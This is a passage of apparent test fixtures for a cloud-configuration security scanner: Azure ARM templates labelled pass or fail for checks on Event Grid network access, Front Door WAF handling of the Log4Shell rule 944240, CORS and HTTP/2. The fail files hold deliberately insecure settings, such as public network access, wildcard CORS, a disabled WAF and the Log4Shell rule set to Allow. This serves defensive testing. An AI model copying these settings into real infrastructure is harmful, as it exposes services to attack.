"inlineEventTypes": { "{customized property}": { "dataSchemaUrl": "string", "description": "string", "displayName": "string", "documentationUrl": "string" } }, "kind": "Inline" }, "inboundIpRules": [ { "action": "Allow", "ipMask": "string" } ], "inputSchema": "string", "inputSchemaMapping": { "inputSchemaMappingType": "string" }, "minimumTlsVersionAllowed": "string" } } ] } ================================================ FILE: tests/arm/checks/resource/example_EventgridTopicNetworkAccess/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.EventGrid/topics", "apiVersion": "2023-12-15-preview", "name": "fail2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "sku": { "name": "string" }, "kind": "string", "extendedLocation": { "name": "string", "type": "string" }, "identity": { "principalId": "string", "tenantId": "string", "type": "string", "userAssignedIdentities": { "{customized property}": { "clientId": "string", "principalId": "string" } } }, "properties": { "dataResidencyBoundary": "string", "disableLocalAuth": "bool", "eventTypeInfo": { "inlineEventTypes": { "{customized property}": { "dataSchemaUrl": "string", "description": "string", "displayName": "string", "documentationUrl": "string" } }, "kind": "Inline" }, "inboundIpRules": [ { "action": "Allow", "ipMask": "string" } ], "inputSchema": "string", "inputSchemaMapping": { "inputSchemaMappingType": "string" }, "minimumTlsVersionAllowed": "string", "publicNetworkAccess": "Enabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_EventgridTopicNetworkAccess/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.EventGrid/topics", "apiVersion": "2023-12-15-preview", "name": "pass", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "sku": { "name": "string" }, "kind": "string", "extendedLocation": { "name": "string", "type": "string" }, "identity": { "principalId": "string", "tenantId": "string", "type": "string", "userAssignedIdentities": { "{customized property}": { "clientId": "string", "principalId": "string" } } }, "properties": { "dataResidencyBoundary": "string", "disableLocalAuth": "bool", "eventTypeInfo": { "inlineEventTypes": { "{customized property}": { "dataSchemaUrl": "string", "description": "string", "displayName": "string", "documentationUrl": "string" } }, "kind": "Inline" }, "inboundIpRules": [ { "action": "Allow", "ipMask": "string" } ], "inputSchema": "string", "inputSchemaMapping": { "inputSchemaMappingType": "string" }, "minimumTlsVersionAllowed": "string", "publicNetworkAccess": "Disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Network/frontdoorWebApplicationFirewallPolicies", "apiVersion": "2019-09-01", "name": "fail1", "location": "[resourceGroup().location]", "properties": {} } ] } ================================================ FILE: tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/fail3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Network/frontdoorWebApplicationFirewallPolicies", "apiVersion": "2019-09-01", "name": "fail3", "location": "[resourceGroup().location]", "properties": { "managedRules": { "managedRuleSets": [ { "ruleSetType": "Microsoft_DefaultRuleSet", "ruleSetVersion": "1.1", "ruleGroupOverrides": [ { "ruleGroupName": "JAVA", "rules": [ { "action": "Block", "ruleId": "944240" } ] } ] } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/fail4.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Network/frontdoorWebApplicationFirewallPolicies", "apiVersion": "2019-09-01", "name": "fail4", "location": "[resourceGroup().location]", "properties": { "managedRules": { "managedRuleSets": [ { "ruleSetType": "Microsoft_DefaultRuleSet", "ruleSetVersion": "1.1", "ruleGroupOverrides": [ { "ruleGroupName": "JAVA", "rules": [ { "action": "Allow", "ruleId": "944240", "enabledState": "Enabled" } ] } ] } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/pass1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Network/frontdoorWebApplicationFirewallPolicies", "apiVersion": "2019-09-01", "name": "pass1", "location": "[resourceGroup().location]", "properties": { "managedRules": { "managedRuleSets": [ { "ruleSetType": "Microsoft_DefaultRuleSet", "ruleSetVersion": "1.1" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Network/frontdoorWebApplicationFirewallPolicies", "apiVersion": "2019-09-01", "name": "pass2", "location": "[resourceGroup().location]", "properties": { "managedRules": { "managedRuleSets": [ { "ruleSetType": "DefaultRuleSet", "ruleSetVersion": "1.0" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/pass3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Network/frontdoorWebApplicationFirewallPolicies", "apiVersion": "2019-09-01", "name": "pass3", "location": "[resourceGroup().location]", "properties": { "managedRules": { "managedRuleSets": [ { "ruleSetType": "Microsoft_DefaultRuleSet", "ruleSetVersion": "1.1", "ruleGroupOverrides": [ { "ruleGroupName": "JAVA", "rules": [ { "action": "Block", "ruleId": "944240", "enabledState": "Enabled" } ] } ] } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FrontDoorWAFACLCVE202144228/pass4.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Network/frontdoorWebApplicationFirewallPolicies", "apiVersion": "2019-09-01", "name": "pass4", "location": "[resourceGroup().location]", "properties": { "managedRules": { "managedRuleSets": [ { "ruleSetType": "Microsoft_DefaultRuleSet", "ruleSetVersion": "1.1", "ruleGroupOverrides": [ { "ruleGroupName": "JAVA", "rules": [ { "action": "Redirect", "ruleId": "944240", "enabledState": "Enabled" } ] } ] } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FrontdoorUseWAFMode/example_FrontdoorUseWAFMode-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "17606357911537037484" } }, "parameters": { }, "variables": { }, "resources": [ { "type": "Microsoft.Network/FrontDoorWebApplicationFirewallPolicies", "apiVersion": "2022-05-01", "name": "fail", "location": "Global", "sku": { "name": "Premium_AzureFrontDoor" }, "properties": { "managedRules": { "managedRuleSets": [ { "ruleSetType": "Microsoft_DefaultRuleSet", "ruleSetVersion": "2.0", "ruleSetAction": "Block", "exclusions": [], "ruleGroupOverrides": [] }, { "ruleSetType": "Microsoft_BotManagerRuleSet", "ruleSetVersion": "1.0", "ruleSetAction": "Block", "exclusions": [], "ruleGroupOverrides": [] } ] }, "policySettings": { "enabledState": "Disabled", "mode": "Prevention" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FrontdoorUseWAFMode/example_FrontdoorUseWAFMode-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "17606357911537037484" } }, "parameters": { }, "variables": { }, "resources": [ { "type": "Microsoft.Network/FrontDoorWebApplicationFirewallPolicies", "apiVersion": "2022-05-01", "name": "pass", "location": "Global", "sku": { "name": "Premium_AzureFrontDoor" }, "properties": { "managedRules": { "managedRuleSets": [ { "ruleSetType": "Microsoft_DefaultRuleSet", "ruleSetVersion": "2.0", "ruleSetAction": "Block", "exclusions": [], "ruleGroupOverrides": [] }, { "ruleSetType": "Microsoft_BotManagerRuleSet", "ruleSetVersion": "1.0", "ruleSetAction": "Block", "exclusions": [], "ruleGroupOverrides": [] } ] }, "policySettings": { "enabledState": "Enabled", "mode": "Prevention" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppDisallowCORS/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "siteName": { "type": "string", "metadata": { "description": "The name of the Azure Web App." } }, "location": { "type": "string", "metadata": { "description": "The Azure region where the resource should be deployed." } }, "sku": { "type": "string", "defaultValue": "Free", "allowedValues": [ "Free", "Shared", "Basic", "Standard", "Premium" ], "metadata": { "description": "The pricing tier of the Azure Web App." } }, "appServicePlanName": { "type": "string", "metadata": { "description": "The name of the App Service Plan to use." } } }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2019-08-01", "name": "fail", "location": "[parameters('location')]", "properties": { "name": "[parameters('siteName')]", "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', parameters('appServicePlanName'))]", "siteConfig": { "appSettings": [ { "name": "Setting1", "value": "Value1" }, { "name": "Setting2", "value": "Value2" } ], "metadata": [ { "name": "Key1", "value": "Value1" }, { "name": "Key2", "value": "Value2" } ], "cors": { "allowedOrigins": ["*"] } } }, "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', parameters('appServicePlanName'))]" ], "sku": { "name": "[parameters('sku')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppDisallowCORS/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "siteName": { "type": "string", "metadata": { "description": "The name of the Azure Web App." } }, "location": { "type": "string", "metadata": { "description": "The Azure region where the resource should be deployed." } }, "sku": { "type": "string", "defaultValue": "Free", "allowedValues": [ "Free", "Shared", "Basic", "Standard", "Premium" ], "metadata": { "description": "The pricing tier of the Azure Web App." } }, "appServicePlanName": { "type": "string", "metadata": { "description": "The name of the App Service Plan to use." } } }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2019-08-01", "name": "pass", "location": "[parameters('location')]", "properties": { "name": "[parameters('siteName')]", "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', parameters('appServicePlanName'))]" }, "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', parameters('appServicePlanName'))]" ], "sku": { "name": "[parameters('sku')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppDisallowCORS/pass_with_cors.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "siteName": { "type": "string", "metadata": { "description": "The name of the Azure Web App." } }, "location": { "type": "string", "metadata": { "description": "The Azure region where the resource should be deployed." } }, "sku": { "type": "string", "defaultValue": "Free", "allowedValues": [ "Free", "Shared", "Basic", "Standard", "Premium" ], "metadata": { "description": "The pricing tier of the Azure Web App." } }, "appServicePlanName": { "type": "string", "metadata": { "description": "The name of the App Service Plan to use." } } }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2019-08-01", "name": "pass_with_cors", "location": "[parameters('location')]", "properties": { "name": "[parameters('siteName')]", "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', parameters('appServicePlanName'))]", "siteConfig": { "appSettings": [ { "name": "Setting1", "value": "Value1" }, { "name": "Setting2", "value": "Value2" } ], "metadata": [ { "name": "Key1", "value": "Value1" }, { "name": "Key2", "value": "Value2" } ], "cors": { "allowedOrigins": ["192.0.0.1"] } } }, "dependsOn": [ "[resourceId('Microsoft.Web/serverfarms', parameters('appServicePlanName'))]" ], "sku": { "name": "[parameters('sku')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppHttpVersionLatest/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vaultName": { "type": "string", "metadata": { "description": "The name of the key vault to be created." } }, "keyName": { "type": "string", "metadata": { "description": "The name of the key to be created." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the resources" } }, "skuName": { "type": "string", "defaultValue": "standard", "allowedValues": [ "standard", "premium" ], "metadata": { "description": "The SKU of the vault to be created." } }, "keyType": { "type": "string", "defaultValue": "RSA", "allowedValues": [ "EC", "EC-HSM", "RSA", "RSA-HSM" ], "metadata": { "description": "The JsonWebKeyType of the key to be created." } }, "keyOps": { "type": "array", "defaultValue": [], "metadata": { "description": "The permitted JSON web key operations of the key to be created." } }, "keySize": { "type": "int", "defaultValue": 2048, "metadata": { "description": "The size in bits of the key to be created." } }, "curveName": { "type": "string", "defaultValue": "", "allowedValues": [ "", "P-256", "P-256K", "P-384", "P-521" ], "metadata": { "description": "The JsonWebKeyCurveName of the key to be created." } } }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-09-01", "name": "fail", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": false, "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ], "outputs": { "proxyKey": { "type": "object", "value": "[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')))]" } } } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppHttpVersionLatest/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vaultName": { "type": "string", "metadata": { "description": "The name of the key vault to be created." } }, "keyName": { "type": "string", "metadata": { "description": "The name of the key to be created." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the resources" } }, "skuName": { "type": "string", "defaultValue": "standard", "allowedValues": [ "standard", "premium" ], "metadata": { "description": "The SKU of the vault to be created." } }, "keyType": { "type": "string", "defaultValue": "RSA", "allowedValues": [ "EC", "EC-HSM", "RSA-HSM" ], "metadata": { "description": "The JsonWebKeyType of the key to be created." } }, "keyOps": { "type": "array", "defaultValue": [], "metadata": { "description": "The permitted JSON web key operations of the key to be created." } }, "keySize": { "type": "int", "defaultValue": 2048, "metadata": { "description": "The size in bits of the key to be created." } }, "curveName": { "type": "string", "defaultValue": "", "allowedValues": [ "", "P-256", "P-256K", "P-384", "P-521" ], "metadata": { "description": "The JsonWebKeyCurveName of the key to be created." } } }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "fail2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": false, "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ], "outputs": { "proxyKey": { "type": "object", "value": "[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')))]" } } } ================================================ FILE: tests/arm/checks/resource/example_FunctionAppHttpVersionLatest/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vaultName": { "type": "string", "metadata": { "description": "The name of the key vault to be created." } }, "keyName": { "type": "string", "metadata": { "description": "The name of the key to be created." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the resources" } }, "skuName": { "type": "string", "defaultValue": "standard", "allowedValues": [ "standard", "premium" ], "metadata": { "description": "The SKU of the vault to be created." } }, "keyType": { "type": "string", "defaultValue": "RSA", "allowedValues": [ "EC", "EC-HSM", "RSA", "RSA-HSM" ], "metadata": { "description": "The JsonWebKeyType of the key to be created." } }, "keyOps": { "type": "array", "defaultValue": [], "metadata": { "description": "The permitted JSON web key operations of the key to be created." } }, "keySize": { "type": "int", "defaultValue": 2048, "metadata": { "description": "The size in bits of the key to be created." } }, "curveName": { "type": "string", "defaultValue": "", "allowedValues": [ "", "P-256", "P-256K", "P-384", "P-521" ], "metadata": { "description": "The JsonWebKeyCurveName of the key to be created." } } }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-09-01", "name": "pass", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], 